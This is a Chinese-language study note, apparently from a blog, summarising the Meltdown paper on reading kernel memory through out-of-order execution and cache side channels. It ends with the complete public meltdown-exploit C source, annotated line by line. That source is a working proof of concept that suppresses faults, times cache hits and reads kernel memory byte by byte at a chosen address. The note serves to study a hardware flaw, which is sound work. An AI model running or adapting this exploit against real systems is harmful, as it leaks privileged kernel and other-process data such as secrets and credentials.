Meltdown: Reading Kernel Memory from User Space
-
摘要:
- 计算机系统的安全从根本上依赖于内存隔离,例如,内核地址范围被标记为不可访问,并被保护不受用户访问
- Meltdown(熔断):利用现代处理器的乱序执行所带来的副作用,可以读取任意内核内存的位置。
- Meltdown独立于操作系统,不依赖于任何软件漏洞,并且破坏了由地址空间隔离和半虚拟化环境提供的所有安全保证
- KAISER对于Meltdown有一定的阻碍作用
-
熔断是一种新颖的攻击方式,通过为任何用户进程提供一种简单的方式来读取它所执行的机器的整个内核内存,包括映射在内核区域中的所有物理内存,从而完全克服内存隔离。
-
侧信道攻击通常需要目标应用程序的非常具体的知识,并且只针对需要泄露的机密信息进行定制设计。但是meltdown则不需要如此麻烦,并且能力更加强大
-
乱序执行个一个重要问题:乱序CPU允许非特权进程将数据从特权(内核/物理)地址加载到临时CPU寄存器中,同时甚至基于这个寄存器值执行进一步的计算。当CPU发现这条指令不应该被执行时,会删除修改的寄存器状态等,在这种情况下,处理器在体系结构层面不会有安全问题发生。但是这种不应该执行的指令有可能会影响cache,并且影响的结果没有被删除,此时通过cache的侧信道攻击就可能会出现问题。
-
熔断允许非特权进程读取映射到内核地址空间的数据,包括linux,android,OS X,和windows上的大部分物理内存
-
地址空间:
- 当前进程使用的页表位置保存在一个特殊的CPU寄存器中,当进程上下文切换时,OS将下一个进程的页表地址放入寄存器中,以实现每个进程的虚拟地址空间
- 每个虚拟地址空间被划分为用户和内核部分。运行的应用程序可以访问用户空间,但是内核地址空间只有特权模式下的CPU才能访问
- 内核地址空间不仅具有为内核自身使用而映射的内存,还需要在用户的页面中执行操作,例如填充数据到页面,因此整个物理内存通常会被映射到内核中。在linux/OS X上,这个过程通过直接物理映射完成,即整个内存直接映射到预定的虚拟地址。在windows中,并不是用直接映射,而是使用另一种机制,但也会将大部分物理内存映射到每个进程的内核地址空间
-
cache攻击
- 主要利用cache在访问时(hit/miss)的时间差异来进行攻击。
- 攻击手段:evict+time,prime+probe,flush+reload
- Flush+reload攻击的粒度是cache line,主要利用LLC的共享性。攻击者使用clflush指令频繁的刷新目标内存位置。通过测量重新加载数据所需要的时间,判断数据是否同时被另一个进程加载到缓存中。
-
在乱序执行中的指令对于寄存器或者存储器没有任何可见的体系结构效应,但是确实有微架构的副作用。在乱序执行的过程中,引用的内存会被存储到cache中,如果指令被丢弃,但是cache的内容却不会被改变,此时就可以用cache的侧信道攻击
-
一个简单的示例:
- 理论上,代码中的access行为永远都不会执行,由于异常处理,但是乱序执行可能会已经执行了访问数据的执行,因为它不存在对异常的依赖
- access指令尽管在异常发生后会进行回退,但是cache的状态这个时候可能就已经发生了变化,之后就可以利用cache的侧信道攻击,得到data的实际信息
- 当数据data乘以4096,则访问的数据将会分散到整个数组中,距离为4KB,此时数据到内存页的映射即为单射。此时如果页内的cache line如果被cached,则数据的具体值将可以得到。此时预取程序由于不能够跨越页面边界访问数据,所以此时不会出现预取的影响
//该异常为用户程序访问内核空间的地址,取到的数据将会是data raise_exception(); //the line below is never reached access(probe_array[data*4096]);
-
异常的处理:由于用户访问了不可访问的地址,会出现相应的异常,为了不终止程序的执行,必须处理异常
- 异常处理:捕捉有效的异常。
- 一个简单的方法:在攻击程序访问终止进程的无效内存位置之前,对进程进行克隆,然后只访问子进程中的无效内存位置。子进程执行访问任务,父进程进行观察
- 安装一个信号处理程序,如果发生某些异常,使用这个信号处理程序执行,从而防止应用程序崩溃
- 异常抑制:完全阻止异常发生,而在执行完瞬态指令序列之后重定向控制流
- 阻止异常抛出。在错误发生后进行回滚,体系结构状态被恢复,但是程序可以继续运行,而不会中断
- 将需要执行的代码放在分支指令之后,尽管分支指令会跳转到其它位置,但是它仍旧可以使用其它办法,让其提前执行,同时不会出现异常
- 异常处理:捕捉有效的异常。
-
x86平台上的熔断实现的核心指令序列
扫描二维码关注公众号,回复: 4135025 查看本文章;rcx=kernel address ;rbx=probe array retry: ;读取内核数据,利用CPU的乱序执行特性,在非法内存访问和异常发生之间的短暂空挡中执行指令 mov al,byte [rcx] ;data*4KB,进行散列映射 shl rax,0xc ;重试逻辑:如果读取0,重试(防止噪声偏差) jz retry ;传递内核数据 mov rbx,qword [rbx+rax]
-
重试逻辑的解释
- 如果异常发生在正在读取非法内核地址的时候触发了,此时会将存储数据的寄存器输出为0,以防止在异常处理之前,不会被观察到
- 在上面的情况下,攻击者会读取到一个错误值,为了防止错误的值被继续执行,此时使用重试逻辑,重新读取地址,直到遇到一个不为零的值
- 当读取值不为0,或者无效内存访问引发的异常都会导致循环终止。
-
异常抑制的一种实现:intel TSX(Transactional Synchronization Extension)异常抑制
- 使用intel TSX时,可以将多条指令组合到一个事务中,从而将其看作一个原子操作,即全部执行或者全部不执行。如果事务中一条指令失败,已经执行的指令将会被恢复,但不会产生异常
- 将之前的代码使用TSX封装,此时微体系结构的效果仍旧可见,并且执行速度更快
-
meltdown代码解析(源自github:https://github.com/paboldin/meltdown-exploit)
#define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <signal.h> #include <ucontext.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <sched.h> #include <x86intrin.h> //github上有介绍 #include "rdtscp.h" //#define DEBUG 1 #if !(defined(__x86_64__) || defined(__i386__)) # error "Only x86-64 and i386 are supported at the moment" #endif #define TARGET_OFFSET 12 #define TARGET_SIZE (1 << TARGET_OFFSET) #define BITS_READ 8 #define VARIANTS_READ (1 << BITS_READ) //size = 256*4096 = 1M static char target_array[VARIANTS_READ * TARGET_SIZE]; //从cache中清除每个页面中的一个地址,4K*i void clflush_target(void) { int i; //VARIANTS_READ 256 for (i = 0; i < VARIANTS_READ; i++) //target_size = 4K 一个页面的大小 _mm_clflush(&target_array[i * TARGET_SIZE]); } extern char stopspeculate[]; static void __attribute__((noinline)) speculate(unsigned long addr) { //"__asm__"表示后面的代码为内嵌汇编,asm为别名 //"__volatile__"表示编译器不要优化代码,volatile为别名 #ifdef __x86_64__ asm volatile ( "1:\n\t" //.rept和.endr都是汇编伪指令,times是一个数字,表示code这段代码要重复执行的次数 // 在嵌入汇编语句寄存器名称前就必须写上两个百分号“%%” //重复三百次的执行,并没有任何其它的含义,可以忽略 ".rept 300\n\t" "add $0x141, %%rax\n\t" ".endr\n\t" //movzx无符号扩展,并传送 //取到指定的内存地址的数据,如果是内核地址空间的,会产生异常,但是异常信号已经被重新设置 //尽管异常会中断执行,但是由于推测式执行,这条指令产生的行为可能已经使得cache的状态被改变 //即之后的movzx已经开始被执行 "movzx (%[addr]), %%eax\n\t" //shl是逻辑左移指令 //将内存地址对应的数据,左移12位,即乘以4K,换成页面的大小,以防止预取策略,提前 //将之后的数据取到 "shl $12, %%rax\n\t" //当零标志为1时,跳转到1的地方 //重试逻辑,论文中有介绍 "jz 1b\n\t" //将移位之后的内存数据做为索引,访问target_array数据的对应位置 //之后检测cache中哪一个array中的位置的数据hit,则可得到内存数据 //displacement(base,index,scale) "movzx (%[target], %%rax, 1), %%rbx\n" "stopspeculate: \n\t" "nop\n\t" ://"r" 将输入变量放入通用寄存器,也就是eax,ebx,ecx,edx,esi,edi中的一个 : [target] "r" (target_array), [addr] "r" (addr) : "rax", "rbx" ); #else /* ifdef __x86_64__ */ asm volatile ( "1:\n\t" ".rept 300\n\t" "add $0x141, %%eax\n\t" ".endr\n\t" "movzx (%[addr]), %%eax\n\t" "shl $12, %%eax\n\t" "jz 1b\n\t" "movzx (%[target], %%eax, 1), %%ebx\n" "stopspeculate: \n\t" "nop\n\t" : : [target] "r" (target_array), [addr] "r" (addr) : "rax", "rbx" ); #endif } static int cache_hit_threshold; //VARIANTS_READ 256 //初始化hist数据,用于纪录256个位置hit/miss的信息 static int hist[VARIANTS_READ]; //访问array数组中,前256个4K位置处的数据是否加载到cache中 //根据access_time判断是否发生hit //mix_i的范围仍旧是0-255,但是相对于使用i直接索引,根据有随机性,防止被预测到 void check(void) { int i, time, mix_i; volatile char *addr; //VARIANTS_READ 256 for (i = 0; i < VARIANTS_READ; i++) { //防止被预测到 mix_i = ((i * 167) + 13) & 255; //TARGET_SIZE=4K addr = &target_array[mix_i * TARGET_SIZE]; time = get_access_time(addr); if (time <= cache_hit_threshold) hist[mix_i]++; } } //更改处理器的异常信息的处理 void sigsegv(int sig, siginfo_t *siginfo, void *context) { ucontext_t *ucontext = context; #ifdef __x86_64__ ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate; #else ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate; #endif return; } int set_signal(void) { struct sigaction act = { .sa_sigaction = sigsegv, .sa_flags = SA_SIGINFO, }; return sigaction(SIGSEGV, &act, NULL); } #define CYCLES 1000 //读取内存地址 int readbyte(int fd, unsigned long addr) { int i, ret = 0, max = -1, maxi = -1; static char buf[256]; //初始化hist为零,用于每次重新统计 memset(hist, 0, sizeof(hist)); for (i = 0; i < CYCLES; i++) { ret = pread(fd, buf, sizeof(buf), 0); if (ret < 0) { perror("pread"); break; } //从cache中清除array每个页面中的第一个地址,4K*i clflush_target(); //等待这些清除操作真实被执行结束 _mm_mfence(); //执行推测指令(汇编指令) speculate(addr); //统计cache中array的hit/miss信息 check(); } #ifdef DEBUG //VARIANTS_READ 256 for (i = 0; i < VARIANTS_READ; i++) if (hist[i] > 0) printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]); #endif //VARIANTS_READ 256 //根据hist的结果,找到hit次数最多的位置,此时索引即为内存中的数据 for (i = 1; i < VARIANTS_READ; i++) { if (!isprint(i)) continue; if (hist[i] && hist[i] > max) { max = hist[i]; maxi = i; } } return maxi; } static char *progname; int usage(void) { printf("%s: [hexaddr] [size]\n", progname); return 2; } static int mysqrt(long val) { int root = val / 2, prevroot = 0, i = 0; while (prevroot != root && i++ < 100) { prevroot = root; root = (val / root + root) / 2; } return root; } #define ESTIMATE_CYCLES 1000000 static void set_cache_hit_threshold(void) { long cached, uncached, i; if (0) { cache_hit_threshold = 80; return; } for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) cached += get_access_time(target_array); for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) cached += get_access_time(target_array); for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) { _mm_clflush(target_array); uncached += get_access_time(target_array); } cached /= ESTIMATE_CYCLES; uncached /= ESTIMATE_CYCLES; cache_hit_threshold = mysqrt(cached * uncached); printf("cached = %ld, uncached = %ld, threshold %d\n", cached, uncached, cache_hit_threshold); } static int min(int a, int b) { return a < b ? a : b; } //线程绑定CPU核 static void pin_cpu0() { cpu_set_t mask; /* PIN to CPU0 */ CPU_ZERO(&mask); CPU_SET(0, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); } int main(int argc, char *argv[]) { int ret, fd, i, score, is_vulnerable; unsigned long addr, size; static char expected[] = "%s version %s"; progname = argv[0]; if (argc < 3) return usage(); if (sscanf(argv[1], "%lx", &addr) != 1) return usage(); if (sscanf(argv[2], "%lx", &size) != 1) return usage(); memset(target_array, 1, sizeof(target_array)); ret = set_signal(); //线程绑定CPU核 pin_cpu0(); //统计得到较为精确的cache命中时间和缺失时间 set_cache_hit_threshold(); fd = open("/proc/version", O_RDONLY); if (fd < 0) { perror("open"); return -1; } for (score = 0, i = 0; i < size; i++) { //addr为用户输入的内存地址(目前暂定为物理地址) ret = readbyte(fd, addr); if (ret == -1) ret = 0xff; printf("read %lx = %x %c (score=%d/%d)\n", addr, ret, isprint(ret) ? ret : ' ', ret != 0xff ? hist[ret] : 0, CYCLES); if (i < sizeof(expected) && ret == expected[i]) score++; addr++; } close(fd); is_vulnerable = score > min(size, sizeof(expected)) / 2; if (is_vulnerable) fprintf(stderr, "VULNERABLE\n"); else fprintf(stderr, "NOT VULNERABLE\n"); exit(is_vulnerable); }